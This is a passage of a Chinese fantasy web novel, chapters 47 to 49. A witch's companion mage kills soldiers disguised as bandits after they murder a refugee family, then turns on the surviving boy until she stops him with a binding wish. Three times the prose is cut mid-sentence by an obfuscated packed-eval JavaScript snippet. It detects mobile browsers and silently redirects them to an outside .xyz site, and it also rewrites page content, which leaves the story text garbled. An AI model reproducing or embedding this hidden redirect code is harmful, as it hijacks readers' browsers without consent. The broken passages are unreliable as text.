这时他背后的黑暗里传来幽幽人声:“睡不着吗?” 马克吓了一跳,回过头,看见西里斯的身影:“是小哥你啊,嗐,真是吓了我一跳。你还没睡呢?” 西里斯用不着睡眠,但平时不会表现得太明显,只是偶尔主动要求替别人守夜,今天本来不是他值夜的时间。 他嗯了一声,坐到马克身边:“睡不着。” “失眠可是个大问题啊,到我这年纪了,总动不动就醒一整个晚上。你看着还那么年轻,这么早就失眠可不好,得找机会让医生看看。”马克摇摇头,用长辈的口吻好心道。 西里斯应了一声,陪着他沉默了半晌,问道:“您有什么困扰吗?” “咳,被你看出来啦?”马克摸摸鼻子,哈哈笑笑,“哎,说来也不怕你笑话,就是想想未来,心里有点没底。我教人认字,讲通用语,但到新地方,得先学会方言,才能教人,也未必有学堂收我。这行一般一干就是一辈子……我看来是不得不转行啦! “但这个年纪了,要学新东西,我还真有点怕学不会。到时候还要被儿子笑我笨,他学新东西可比我快多了,真是老了……” “您在担心其他事。”西里斯看着他的眼睛。 马克一愣,有片刻警惕浮现在他的目光里,笑容从他脸上完全消失了。 但马克又看看西里斯,想了想,摇摇头:“不,不至于,你们不会是……还是别问了,只是点私事,没什么值得好奇的。” “我或许帮得上忙。”西里斯说。 马克还是摇头:“别了别了,别问太多,别把你们牵扯进来……知道太多反而惹祸上身。哎,年轻人,你是好心,但别问了……我也当你没问过。能带我们一程,已经给你们添麻烦了。 “等下一站……等下一座城市到了,我们就离开。你们也……哎,你们还是别来跟我们说话了。” 他越说越决绝,最终完全闭上了口,再不发一言。 西里斯过了很久,起身向他告别:“沙漠夜风凉,赶路更需要休息。有人守着夜,您不用太担心。晚安。” 马克没有回答他,也没有回头。 47.野火 西里斯回到艾玛的帐篷边坐下,帐篷掀开了一角,艾玛说:“你不是喜欢管闲事的人。” “举手之劳,帮了也没什么。”西里斯说,“但他不愿意解释。” 艾玛嗯了一声。 夫妻俩的谎言太显然。他们的工作稳定,难以更换,家庭经济条件也普通,这样平平无奇的普通人一家,如果不是碰到极大的困难,是绝不会抛下安稳的生活,要移居他处的。 能让他们下定这样大的决心,原因不该是经济,他们提到生意不景气的感慨太虚浮,不是因此苦闷。 困难比这更大,更迫切。 露丝夫人随口说了一句真话,他们是逃出来的。 孩子们未必懂得,因此还有玩耍的兴致,但夫妇俩显然很明白背后的危险,甚至不想让好心的路人干涉。 “他们不愿意我们插手,或许这就是我们的缘分。”艾玛说,“离下一座城市还有五天的路程,很快就会分别的。” “我明白。”西里斯说。 沙漠太大太大,他们遇见过形形色色的人,各有各的辛酸喜怒。别人的情绪私事是不好插手的,就算外人是好心,也只会越忙越忙,越理越乱。 而且碰见的人那么多,要是各个都得去问个明白,管上一手,哪里帮得过来呢? 艾玛很尊重他人的个人意志,不会过问别人的隐私。 据说女巫足够强大之后,能够看清“命运”。但尚且青涩的女巫在命运的洪流之中,已然能够摸到它的走向脉络。 这大约是艾玛直觉的一种,她目前没有思考这个问题太多,只是顺从着本能,并坦然接受它的提醒。 那对夫妻坚持不愿告知缘由,那对艾玛来说,没有结果就已经是这件事的结果。 她尊重他们的决定。 碰到这种显而易见的麻烦事,西里斯一般问都懒得多问一句。 他见过的比艾玛更多,对此只会更麻木。 西里斯从不认为自己是什么仗义热心的好人,他主动要帮助谁,总是抱着某种目的。 那一家四口只是偶然跟他们同行了一路,搭了同一队车,浅得不能再浅的缘分。 他们都只是普通人,西里斯看一眼就明白,即使帮了他们也得不到什么好处。 他不该为这种没道理的事挂心。 但难以解释,莫名的情绪在他胸口挥之不去。没道理的事。 是因为看见了过去的幻影,生出了恻隐之心?还是听了满是溢美之词的传说,觉得应当做点名副其实的好事? 西里斯揉揉额头,嘲笑了自己一声。 “赤砂”可以在故事里继续做一个鬼魂活着,但是死是活都已经跟他无关了。 他也从来……不是什么“英雄”。 第二天开始,夫妇俩不再跟艾玛他们说话了。 孩子们大概得了父母告诫,阿夏尔走过西里斯身边时目不斜视,像没看见他似的。 艾玛听了那晚的对话,并不意外这样的反应。 西里斯觉得自己的烦躁莫名其妙,想过之后冷静了一些,决定不再多管这事。 但有两次他的目光划过人群,正好对上了安的目光。 父母提出了要求,乖巧的安很听他们的话,但还是时不时在角落里悄悄地观察他。孩子好奇的目光没有敌意。 对上眼神时安愣了一下,害羞地笑起来,遥遥地向他悄悄挥了挥手。西里斯也挥了挥手回应。 这些小动作很快被总跟姐姐一起玩的阿夏尔发现了,他不高兴地拉过安,回头对西里斯比了个鬼脸。 剩下五天同行的路程转眼过了三天,一切风平浪静,西里斯的烦躁感也淡下来。 在一天途中歇脚的时刻,艾玛在和商人们聊天,西里斯在角落的阴影里休息。外面日光烈烈,沙漠晒得能烫掉人一层皮,不是赶路的好时候。 他听到沙地上嚓嚓嚓嚓的脚步声,女孩跑过来的声音轻轻的,停在西里斯面前,向他伸出一只手。 手心里放着一个小小的纸包。 “这是我从家里带出来的糖,给你!” 周围没有人,但女孩的声音还是轻轻的,像怕人听到,又像在说悄悄话。 西里斯抬起头,看到女孩亮闪闪的眼睛。 她有点紧张,但对上西里斯的眼神,又眼睛一弯,笑了。 “前几天……谢谢你!爸爸妈妈说不要跟你们说话,可能会有麻烦。我不太明白,但是,糖吃掉的话就没人会发现了!爸妈不许我吃太多,所以我有时候会藏起来偷偷吃。” 像是说完才发现自己泄露了秘密,女孩又紧张起来了:“你不能告诉他们啊!我偷偷把糖藏起来的事……还有,那个、那个,爸爸妈妈都是好人,我觉得哥哥你也是好人,你不要生他们的气啊……” 西里斯说:“我没有生气。” “那、那说好了不生气哦?” 西里斯点头,安又笑起来,把糖往西里斯手里一塞,然后挥挥手跑远了:“哥哥再见!” 西里斯看她跑开了,低头看向手里的纸包,打开来,里面放着几颗棕色的糖果。 温度太高,安又把糖藏在手心里,糖浆已经微微化开了,糖块粘在一起。 包裹的纸是浅黄色的,常见的廉价包装纸,展开来看,或许因为书写条件不利,角落上一笔一划、歪歪扭扭地用通用语写着“谢谢”。 西里斯看了一会儿,把它收了起来。 再过一个晚上,第二天就能到下一座城市了。 “着火了!” “强盗,有强盗——” 嘈杂的人声划破夜晚的寂静。 艾玛在帐篷里坐起身,没有看到西里斯的身影。 她并没有感到被惊醒的不悦,也不觉得慌张。艾玛的直觉预知非常平静。 她非常肯定,直觉在告诉她,这场骚乱不会对她造成任何伤害。 西里斯既然不在,肯定已经在处理事态了,那么一定没问题的。西里斯很厉害。 艾玛披上外套,掀开帐篷的帘子走出去。那隔着一层的嘈杂声音瞬间清晰了。 旅客们惊慌愤怒的叫骂、泣声、吵嚷,火焰燃烧的声响,还有……孩子的哭声。 沙漠里并没有什么东西好烧,能烧的只有这片沙地上外来者带来的东西。帐篷,商品,粮草,甚至还有一只骆驼。 骆驼还未完全死去,在离营地有些遥远的距离,着着火哀鸣。 人们在慌乱里谈论,有值夜的护卫死去了,夜袭前来的强盗却突然倒在了地上。 艾玛走过他们,走向那边着火的骆驼。她远远看见熟悉的身影。 “西里斯?”她呼唤了一声。 西里斯没有回头。 艾玛看见,他身后的尸体。 她走近了,认出是那对夫妻。 露丝夫人的脖颈断了,鲜血浸透衣襟。马克先生抓着妻子的手还没有僵硬,长刀插在他胸口上,衣襟破损了多处,睁着一双已经没有焦距了的眼睛。 行凶的两个强盗都倒在了地上,脖颈和手腕被整个切断,像是被线割开的。 染红的沙地在夜晚呈出近黑的颜色。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120460|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烧着骆驼的火焰在闪烁。 男孩哭得撕心裂肺,上气不接下气,因为喊得太过大声,尖锐的声音甚至在泪水里嘶哑:“救……爸爸、妈妈……” “他们死了。”西里斯说。 “救救安、救救她……”他甚至没能去处理这句回答,眼泪不停地流,失智一样重复呓语,跪在沙地上,怀里抱着姐姐,“安、安为了救我,背上、被刀、被……医生……医生!救救她,救救安!” 西里斯蹲下身。 安身上的刀伤是贯穿的,凶手当即拔出了刀。鲜血从她背后落下来,沾了阿夏尔满手满身。 伤口太大了,很快血都要流干。女孩早已没有呼吸了。 “她已经死了。”西里斯陈述。 阿夏尔不愿意听,也不相信:“你胡说!安的身体还有温度,她有救的!医生一定可以救她!” “医生也救不了她。她已经死了。” 阿夏尔怒了,不愿意再跟他说话,抱着姐姐踉跄地站起来。 他腿上也受了伤,动作摇摇晃晃:“我不相信你!医生!医生在哪里!” 红线一把扼住他咽喉,捆住他手脚,一下子把阿夏尔按到了地上。 线绕得很紧,有几根嵌进了阿夏尔的皮肤,甚至划出了血。血液穿过红线,流到他衣襟上。 “别吵了,小鬼。”西里斯的声音冰冷异常,“安静点。” 头很痛。 西里斯想,有些事,他早就明白的。 魔法师越强大,意味着越接近神明,越能窥视命运的走向。所以,正常的魔法师,往往越强大就具有越准确的预知能力。 他曾经也体会过些许,触摸过命运的脉络,但如今他仿佛置身大雾中,完全看不见方向。 他是漩涡,命运的流向经过他会被扰乱,无法观测。 他是异类,是变数,是本不该存在的违逆规则者。 但命运如此垂怜他,说:那又有什么关系? 你不会受伤,不会死去,预知有什么可以告诉你?脆弱者恳求指引庇佑珍视之物,但你—— ——你还有什么可失去的? 除了性命。 极其可笑的,他仅剩的预知,只会本能地提醒他,避免被伤害,避免感到痛楚,小心翼翼地保护着这该死的、根本死不了的身体。 所以他看不见即将发生的、近在咫尺的悲剧。当然看不见。 刀剑不是砍向他的,火焰都没烧到他衣角,他没在这场悲剧里失去任何东西。这是和他无关的事。 骆驼死去了。火焰在它身上逐渐熄灭。那热度和光焰灼痛他的视野。 西里斯想起废墟。连成一片的聚落,被火烧完后,只有焦土上漆黑的废墟。 西里斯接过阿夏尔怀里女孩的尸体,冰冷的温度已经从她四肢蔓延。 安几岁?他不想细想。 失去的东西只会裂开伤口,他所拥有过的一切早已遗失了,在更早之前。 他甚至不知道去哪里找,又怎么找得回来? 大量失血的女孩的尸体空荡荡的。但西里斯觉得怀里的分量沉重,压得他站不起身。他的手甚至有点发抖。 这是和他无关的事。 但是相似的痛觉在西里斯身上复苏。 他提醒自己,这只是幻觉。这是和他无关的事。 他抱着尸体站起身,鬼魂的声音在他身体里尖叫,孩子的哭声在他脑海里回响。 西里斯看见男孩跪在沙地上,抬着头看他,眼泪不停地淌下来。 头好痛。 48.第二个愿望 商队的人收敛了遇害者的遗体,马克一家只有阿夏尔活了下来。商队失去了两名护卫,旅客里也有人受伤,此刻仍然惊魂未定。 骆驼少了一匹,粮草帐篷行李烧坏了一部分,不过现在也没多少人还在乎这些身外之物。 来袭的强盗有十几个。罗琳的商队里有魔法师,那位作为护卫的魔法师是第一个遇害的,这些强盗身手不凡。相对之下,商队的损失不算严重,已经可以说是奇迹般的万幸。 “没想到那位西里斯小哥是个这么厉害的魔法师。真是多亏了他,否则,恐怕我们都得死在这儿。”罗琳的神色沉重,叹了口气,“就是可怜那孩子……” 艾玛跟着她的视线看过去,商队的医生正在处理伤员们的伤势。 阿夏尔被刀划伤了腿,伤口处隐约能够看见骨头。但他仿佛失去了感觉,医生处理伤口时也一声不吭,只是远远看着家人的尸体。 “哎,本来不应该。这块地方离城市已经近了,差不多是商会的范围,强盗一般会绕着这边走,今天突然出现在这里,谁都没想到。而且,他们的身手有点,太……”罗琳犹豫了一下,声音越来越低,“太有组织了……不像是强盗,更像是……” 她说到这里,住了口,摇摇头:“再猜下去就不好了。恐怕我们已经惹祸上身,真是……” 艾玛沉默着,望向远处隐没在夜色里的沙地。 大半强盗被西里斯直接绞杀,他拖了两三个活口去远一些的沙地,说是要从他们嘴里问些情况。 审讯的场面太血腥,要避避人也可以理解,询问他的人立刻不再多话。靠近审讯场所的人能隐约听见一些让人头皮发麻的恐怖声响,吓得赶紧挪远了点。 西里斯这会儿还没回来。 艾玛知道,其实西里斯想问出什么,根本不用那么麻烦。他的法术能轻而易举地撬开对方的脑子,何况他肯定不在乎这些强盗的死活。 但是西里斯心情很差,不如说糟糕得吓人。即使是艾玛也没见过他这样的情况。 需要用这种发泄的手段来调节自己的情绪,在西里斯身上极其少见,也说明他受到的刺激大到了这个程度。 罗琳跟艾玛聊了几句,但两人心思都不在话题上。 罗琳向她告了辞,去安顿伤员和旅客了。艾玛在原地站了一会儿。 医生处理好了阿夏尔的伤口,立刻忙着去照顾别的伤员。 阿夏尔孤零零坐了一会儿,摇摇晃晃地站起来,走到营帐边缘,安置着他家人尸体的地方,在旁边坐了下来。 过了一阵子,西里斯从远处走回来了,满手满身的血,仍然冷着脸。 艾玛看见他,正想走过去,却看见西里斯直接走向了阿夏尔的方向。 他们大概有话要说。 艾玛犹豫了一下,停住脚步,觉得不该打扰西里斯和那孩子的谈话。 西里斯停在阿夏尔身边,往他面前扔了个沾血的徽章:“你认不认识这个?” 阿夏尔看了一眼:“认识。这个纹样,是我们国家里……一个大公爵的标志。” “那就免了我更多解释。”西里斯说,“那公爵正计划着谋反篡位,你父亲运气不好,撞到了他在背地里动手脚,所以他要灭你们的口。你父亲反应及时,带你们逃了出来,但他还是找到了你们。 “你们下一站目的地的绿洲城市,执政商会和那位公爵有合作关系。他派出自己的私兵等在这里,就是想今天装成强盗,把你们和商队杀死在这儿。那些士兵知道的就这么多。” 死者的遗体上盖着白布,在夜间的冷风里发颤。 西里斯没有表情地看着白布下的轮廓。 “普通人总是难以想象。那样的贵族身边,一定有强大的占卜师。他们根本不畏惧目标逃走,无论逃到哪里,占卜师都能找得到。 “在我看来,那公爵更像是故意让你们逃出来的,为了在更远的地方,让你们消失得无迹可寻。恶劣的贵族习性。” 他说完这些,阿夏尔却没有什么激烈的反应,沉默一会儿,慢慢地嗯了一声:“我知道,爸爸和妈妈在撒谎,他们不想让我们害怕。但是,我和安都看出来了,不是什么生意不好,家里欠了债要逃跑,是更糟糕的事情。 “如果是那位公爵,就可以理解,他是个烂透了的人。我们的城市在他的领地,领地里有很多不合理的法令,但他不许任何人说他的坏话,被抓到的人会被公开处刑。那种人会做这样的事,完全不奇怪。” 他的冷静和清晰条理让西里斯感到少许意外。这孩子比他想象得更聪明和成熟。 “他派来的士兵,我都已经杀掉了。我可以把这一切做成‘意外中的意外’,骗过那公爵身边占卜师的眼睛,他不会知道你们一家人里有幸存者。”西里斯说,“那么,你打算怎么办?” 他停顿了片刻,补充:“我不会帮你复仇,这事跟我没有关系。只是他们想杀死整个商队,招惹到了刚好在这的我,我才顺手这么做了。 “你才十一岁,还不能确定有没有魔法素质,这稍微麻烦一些。如果你想要报复那个公爵,我可以给你找个合适的老师。” 在商队同行的前几天,西里斯对这孩子的印象就是闹腾,闹腾到他远看都觉得烦。 但哭过叫过之后,现在的阿夏尔安静到他甚至有些不能理解的地步。 阿夏尔低着头,伸出手,犹豫地,又小心地,牵住了安裸露在白布外的手指。 “安会怎么样?”他低声问,“她和……爸爸妈妈的尸体,要怎么办?” “这里很难保存尸体,也不方便搬运。大概会火化,如果你需要,可以找个罐子装起来。” “嗯……妈妈的行李里有陶罐,可以装在那里。”他说,“我们的事,还会影响到商队里的人吗?” “本来会,但我也不想被麻烦缠上。跟你解释不清楚,我会处理好的。”西里斯说,“你将要面对的情况,就是你现在虽然一无所有,但你的仇人也不会知道你还活着。 “你有时间成长,我可以给你学习的机遇,但机会得靠你自己把握。复仇这种事,只有自己亲手完成才有意义。” “谢谢你。”阿夏尔说。 西里斯挑了挑眉。 阿夏尔小心地牵着安的手指:“安在路上就一直说,猜我们要去什么样的地方。她总是想得太好了,我说,世界上没有这么好的地方。 “我们一直表现得不担心,因为不想让爸爸妈妈担心。爸爸总说我让他发愁,‘要是这么下去,以后会找不到工作的!’总说这样的话。他希望我过安稳的日子,可我说安稳的日子太没劲了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123175|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “妈妈告诉我,我总有一天会找到自己想做的事,该愁的时候再愁吧,‘现在的生活多好啊!’她种了很多花,我们着急离开的时候带不上它们,但是带上了种子。 “我和安约好,等到了新的城市,住下来,我们就比比,谁种的花能先长出来。” 他说了一长串,絮絮叨叨的,没有太多逻辑的琐碎的话。 阿夏尔说着说着,沉默了。 事故发生的时候,夜色很深很深,这会儿天边却开始慢慢亮起来。一线曙光出现在地平线上。 阿夏尔低着头,眼泪滴下来,浸湿了他面前一小块一小块的沙子。 “我不想复仇。我想活下去。我想看看他们期待我拥有的未来是怎样的。” 阿夏尔的声音微微发抖,流着泪,但目光是澄澈的,哀痛但干净:“他们看不见了。我想替他们看看。” 难以形容的,在听到那语句,看到那神情时,一阵难以遏制的暴怒涌上了西里斯心头。 那情绪太强烈又太突然,让西里斯因为难以置信,甚至思考一时无法跟上这份盛怒,以致于愣了一会儿。 他听见自己的声音森冷地说:“你的家人死了,但你想要活下去?” “嗯。” “你听了害他们死去的缘由,你不觉得愤怒?” “我当然愤怒。”阿夏尔说,“可是,就算杀死那个人,我的家人也不能活过来了啊。” “因为这样的借口?”西里斯凝视着他,目光让人毛骨悚然,“你不只是在怕死吗?要是选择复仇,你就不得不面对失败和死亡的风险,你害怕死,就用‘复仇的行为没有意义’来为自己开脱。” “或许是的。这是个更胆小的选择。但是,我了解安,我了解我的家人,我知道,比起复仇,他们会更希望我能……高兴地活下去。” 阿夏尔仰起头,满脸泪痕。初升的日光落在他脸上。 气到极点,西里斯甚至笑了出来,声音里的温度降到最低。 “啊啊……真是白费口舌,我居然救了这么一个没用的懦夫!” “等一下!” 艾玛一直在远观他们的谈话,很快感觉到了气氛不对。 西里斯身边的魔力流动因他的情绪变化而紊乱,在某一瞬间却暴动起来。红线出现在了空中。 因为对他的熟悉,艾玛立刻反应过来。 西里斯动了杀心。 来不及。 艾玛估计了她和西里斯之间的距离。太远了,她来不及阻止他。 她能够使用魔法,尝试用和西里斯相对的魔法具象打断他。但是西里斯动手多快,她是知道的,同样的法术,她赶不及。 而且,艾玛能够感觉到,西里斯是认真的。即使她的法术赶上了,论强度,现在的她赢不了西里斯,最多只能延缓阿夏尔的死亡。 西里斯的目光没有分给她的方向半点。他现在的状态,根本听不进她的话,也绝不会理会她的阻止。 那孩子会死。 艾玛的直觉疯狂预警着。 如果无法立刻采取有效的措施,那孩子会死。 阻止他的方法只有一个。 艾玛立刻做出了决定: “西里斯,‘不许杀他’!‘这是我的第二个愿望’!” 49.转向 红线已经绕上了阿夏尔脖颈,在先前划出的伤痕上交错着又切出了新伤。在疼痛和窒息感袭来的瞬间,那些绕住他的红线突然全部碎成了粉末。 阿夏尔看不见魔法的具象,但这瞬息间的变化救了他的命。 他停滞了片刻,捂着喉咙弯下身,趴在沙地上大声咳嗽起来,脖颈溢出的血流过他的指缝。 西里斯愣了会儿,才意识到自己的魔法为什么会瞬间全部失灵。 即使本能地想要再度凝聚红线,却因为自己满溢的杀意而无法成形。 缔结契约的心脏传来剧痛,警告他停止违背命令的行为。 那是西里斯能找到的,作用力最强的契约,其效果当然也能够限制他。 契约的效力是绝对的。 即时性的“愿望”,会得到强制执行。 西里斯有一瞬间的恍惚,但很快,没有消弭的暴怒上更添一层怒火。 他惊怒地看向艾玛:“我说过,‘不要随便许下第二个愿望’!你在做什么?为了这种人浪费掉一个愿望!” 艾玛走到他面前:“西里斯,冷静下来。” “他没有活下去的价值!放弃为家人愤怒的废物,只想着自己未来的懦夫,跟他的家人死在一起才更好!” “西里斯。”艾玛加重语气,看着他的眼睛,“你在为了谁而愤怒?” 西里斯冰冷地回望她:“为了他白白死掉,却让这懦夫有机会活下来的家人。不应该吗?” “你在为了谁愤怒?”艾玛又重复了一次。 西里斯这次没有回答。 他盯着艾玛的眼睛,不知道妄图看出什么。很久之后,那种冰冷的火焰也慢慢在他目光里熄灭了。 他向旁边的沙地上看了一眼,阿夏尔还趴在地上呛咳。 “既然你愿意为他浪费一个愿望,我不会再杀他了。”西里斯的语调没有感情,“随你高兴吧。” “西……” 艾玛想再说点什么,但伸出的手没碰到他肩膀。 西里斯向她身后的营地走回去。 艾玛停顿了两秒,走到阿夏尔身边,蹲下身,用魔法帮他处理颈上的伤口。 艾玛把阿夏尔送回了营地,托给商队里的人照顾。她向阿夏尔要求对刚才的事保持缄默,阿夏尔点了头。 她在自己的营帐附近找到了西里斯。他换了身衣服,把换下来的那套沾满血的捏在手里,火焰从他手心升起。艾玛在火焰中隐约看到夹在布料里的浅黄色纸张。 西里斯向她回过头,火光亮在他眼里,却冰冷像石像。 他说:“有什么事吗?” 艾玛看见火焰在他手里迅速消下去,因为可燃烧的物质太少。 他们这样的魔法师凭空引火不是难事,但这样和火焰亲肤接触也一定会烧伤。 她停顿了一下,说:“我想,你在生气。” “我总是在生气。”西里斯说。 “可以告诉我理由吗?” 西里斯看着她的眼睛,直到火焰的亮光在他们眼里都熄灭了,他偏开视线,把手里的灰撒在地上。 “我从来没有理解过你们。但反过来说,对女巫而言,我也一样不可理解。或许就是这么回事。” “抱歉,那时候没有更好的办法。我只想到这样可以阻止你。”艾玛说,带着点小心的不确定,“我太轻易用掉这个愿望,让你生气了吗?” “确实,有一会儿,我在想:看来我平常太好说话,让你产生了这个契约没什么用处的错觉。” 西里斯说:“你是女巫,你的愿望可以牵动很多东西。如果有那个‘契约’的帮助,你经过它许下的愿望会被放大。要是你通过契约许愿杀死我,或许真就做得到。 “——但也只是我自私且主观地如此希望。那三个愿望是送给你的代价,你要怎么使用本来是你的自由;我在此之外又附加给你多少额外的东西,也都是我自愿。为这种事生气太蠢了。” 他的目光放在艾玛身上,带着距离的:“我没有想好告诉你我的事,一开始只是因为你还太年幼。我从未想过会遇见刚觉醒的女巫。 “我希望你不要受我太大影响,拥有一套更常规的善恶评判标准。那样在知道我的所作所为之后,你会相信我是应该被杀死的。” 西里斯没有表情地望着她:“但现在我知道你不会。” 艾玛说:“嗯,我不想杀死你。” “女巫总是这样。”西里斯说,“我行我素,随心所欲,自己不在意的就全都不关心。如果没有契约,答应了也会随时反悔。有契约也只是这样。” “我没有想过要对你反悔。” 艾玛走近一步,手放在心上,目光平稳且温和:“如果你需要我的命,我可以给你。” 西里斯的眼睫动了动,像夜风里沙尘拂过。 他说:“最早我想过,如果你是个糟糕的契约对象,我会骗你用掉两个愿望,在契约最稳固,效力最强的时候杀死你。杀死女巫会受到天罚,杀死契约对象会让我被契约反噬,我求之不得。 “但即使这种程度的反馈也未必能让我彻底死去。我不想冒险。找到你太困难了,我已经等得太久,没有信心再等到下一个这样的机会。如果你不能杀死我,杀死我就需要付出更大的代价。” 西里斯直直望进她的眼睛,却像没有在看她一样:“如果我今天失控了,在这里,你没有办法杀死我。你还做不到。” “我不想杀死你。”艾玛说。 “不是想与不想,而是你还没有那样的能力。”西里斯说。 “要做到什么程度才足够?”艾玛困扰道,“这几年我的魔法成长了很多,但还没有强过你。你也几乎没教过我有关魔法的事。” “我不敢自称女巫的魔法老师。你们在魔法上的才能与生俱来,凡人终其一生无法想象。如果说谁有资格教导你们魔法,恐怕也只有……‘神明’本身。” 艾玛愣了一下。 “之前我们一直随机找商队,临时决定下一次的目的地。离开费拉约尔斯之后,兜兜转转地向东北方移动。”西里斯的视线在远处的沙地上划了一圈,“我们接下来向东南方走,选最直接的路——到‘离月亮最近的地方’去。” 他对上艾玛的眼睛:“‘阿瓦托芬’,意思是‘地上的月亮’,月神神殿所在的地方。” “‘阿瓦托芬’。”艾玛重复了一遍这个地名,“你去过那里吗?” “不。如果没有必要,我不打算造访神殿。月神神殿已经有两百多年不曾有女巫在位,如今,你又在这里。” 西里斯说:“对神殿来说,女巫是特别的。对女巫而言,那里也有其他意义。我不知道它具体的特殊之处,但那肯定不会只是被人类随意选中并冠名的信仰之地,否则,它不可能留住过那么多位女巫,也不会使得建立在那片土地上的神殿千年而不倒。” 艾玛思考片刻:“在我们旅行的途中,我听过很多有关神殿的传说,还有人借着行商的机会传教。我确实对那些故事里的‘神殿’……很有兴趣。 “我想过,我总有一天会去看一看。只是,为什么是现在?” “神殿有丰厚的资源,千年来积攒的书籍和秘藏。如果你去到那里,这些资源全都能对你开放。那里是你的神殿,你的主场。” 西里斯停顿了一下,接着沉默了一会儿。 “我自认擅长制定计划,”他说,“但后来发现,我总在高估自己。就像现在,我无法向你保证今天这样的事不会再发生。你必须尽快变得比我更强大。” “我希望过借助那个契约许愿,钻规则上的空子,能让你在杀死我时不需要付出太大代价。 “我又预设了太理想的概率。我不想再冒这样的风险。” “我不希望你死去,艾玛。”西里斯说,“如果可能,如果有更好的方法,你不必牺牲性命杀死我的话,我希望那是最好的结果。契约可以什么都不是。” 艾玛愣住了,有一会儿完全没能反应。 西里斯向她走过去,艾玛下意识向他伸过手,西里斯却向后避让了一步。 “就算说这样的话好像已经太迟。”西里斯看她片刻,视线走到她身后去了,“保持距离对我们彼此有好处。道歉的话我可以再说很多次,但我知道你不喜欢听。” 罗琳犹豫了好一阵子是否还要去停靠原目的地的绿洲城市。如果变换目的地,商队剩下的物资就有些吃紧;但那些“强盗”的异常大概率与绿洲城市有关,她不敢冒这份风险。 但西里斯对她说,可以放心停靠,不会有问题。 危机的解除有很大一部分是西里斯的功劳,他的话对决策很有分量。 如今商队的人知道了他是这样一个厉害的魔法师,也愿意相信他的判断。 就像西里斯所说,停靠绿洲城市之后,一切风平浪静。罗琳照常去置换物资,商人们也正常地开展交易。 艾玛在旅店照顾阿夏尔,给伤员们帮忙,替罗琳处理杂务。西里斯则有很长时间找不到人影,偶尔回来一趟,好叫罗琳他们安安心。 西里斯说他在处理强盗这件事的收尾,对不明白此事蹊跷之处的商人们解释为:在和当地商会讨论如何进一步应对附近流窜的强盗,避免这样的事故再度发生;对于像罗琳这样的知情者,西里斯则解释为他在应对事件背后的人。 自然所有人都接受了他的说法。只有同样对占卜术和贵族把戏略知一二,并且了解西里斯的艾玛来说,这话只有一半能信。 西里斯不在乎大部分事情,艾玛偶尔和他产生什么矛盾冲突的时候,他会尝试说服或诱导艾玛理解他的选择,也或者会直接让步,按艾玛说的做。 那些矛盾很细小,显得争执的过程如同在开玩笑。 而巨大到无法退让的冲突很少见,就像这一次。 西里斯碰见艾玛时仍然会平常地打招呼,询问是否有什么需要帮忙的事,但神情语气里过度的平静甚至冷淡是很显然的。同行了一段时间,对他们有所熟悉的人都能感到这前后的差别。 知道更详细情况的阿夏尔也感到不安。 他没有完全听清西里斯和艾玛当时对话的内容,更难以理解其中的具体含义,但他们的争执与他有关,这他还是知道的。 艾玛安抚他,说是因为其他事情。 不全是假话。艾玛想。 她其实知道,即使没有遇见阿夏尔,这样的矛盾也总有爆发的一天。 他们只是无视着那些无法回避的问题相处,心照不宣地保持沉默。 这样的平衡是脆弱的,一点意想不到的外力就会使它崩毁。 打点完该打点的事情后,商队再次启程,离开了那座绿洲城市。 艾玛近来情绪不太高,笑得比从前少了。西里斯的表情则显然比从前冷了两个度。 旁人之前以为他是喜静内敛的性子,平时还算能跟人搭几句话,偶尔也会开点玩笑;但近来他嘴角就没抬起来过,周身气场从单纯的“喜欢独处”变成了“生人勿近”。 见过他那晚满身是血样子的人多少对西里斯存了畏惧,敬而远之;但也有那么些眼光锐利的大聪明动了挖墙脚的心思。 不难理解,这样一个能顶一队护卫的魔法师,简直可以说是行走沙漠的保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133377|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命符。佣金再高也不比自己的命值钱,要是能雇到这样的护卫,多花点钱也赚了。 在沙漠经商要的就是一个胆大心细脸皮厚,既然能看出西里斯和他的雇主产生了矛盾,那不管矛盾是什么,总之说明有了机会。便有人顶着那森冷的气场,强行跟西里斯谈天说地扯东扯西多番暗示。 西里斯没几句就听出了对方来意,冷笑一声,笑得五个里吓退了三个。 还有两个勇气可嘉,硬着头皮继续扯,被西里斯回了句“抱歉,我跟那位小姐签的是长约”,终于识相放弃。 其中一个不舍地塞了名片,希望西里斯的“长约”结束之后能再考虑一下云云。 其他的商业契约打动不了他,甚至他对可能的未来金主都没给一分好脸色,那就不免让人猜测西里斯心情不佳是因为更私人的原因,比如,恋情。 罗琳显然就是这么猜的,她在艾玛面前流露了些八卦和好奇。 艾玛只是笑笑,没回答。 